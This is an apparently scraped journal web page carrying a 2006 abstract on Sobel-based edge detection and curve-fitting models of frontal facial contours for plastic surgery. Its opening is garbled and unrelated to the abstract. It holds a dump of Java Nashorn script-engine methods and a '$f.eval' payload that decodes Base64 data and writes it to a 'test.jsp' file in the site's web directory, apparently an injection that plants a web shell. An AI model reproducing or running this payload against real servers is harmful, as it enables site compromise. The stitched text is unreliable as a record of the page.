public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (05): 667-669.

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Edge detection and modeling in frontal facial contour image for plastic surgery

WANG Wei-bin1,TIAN Jun-wei2,HUANG Yong-xuan2,LIU Da-lie1 1Department of Plastic Surgery,Zhujiang Hospital,Southern Medical University,Guangzhou 510282,China;2Telecommunication College,Xi’an Jiaotong University,Xi’an 710054,China   

  1. 南方医科大学珠江医院整形外科； 西安交通大学电信学院； 南方医科大学珠江医院整形外科 广东广州； 510282； 陕西西安； 710054； 广东广州；
  • Online:2006-05-20 Published:2006-05-20

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Abstract: Objective To find a new method for edge detection and modeling in frontal facial contour image.Methods Searching circle-based edge detection algorithm was developed on the basis of Sobel edge detector.Apriori knowledge of the facial contour and searching limitations as the minimum curvature radius,concavo-convex property,and maximum edge disconnected distance were used to detect the edge of frontal facial contour.The frontal facial contour model was established with least squares curve fitting methods,and the relationship between the model rank and model precision was analyzed.Results The edge detected by the new method was consistent with the actual edge of the facial contour and the irrelevant edge was well eliminated.Variation of the 2,4,10 time models from the actual image were compared,which identified the 10 time model as the best one.Conclusion The effectiveness and practicability of this new method for edge detection and modeling has been tested,which provides a theoretic basis for designing facial contouring image system. 

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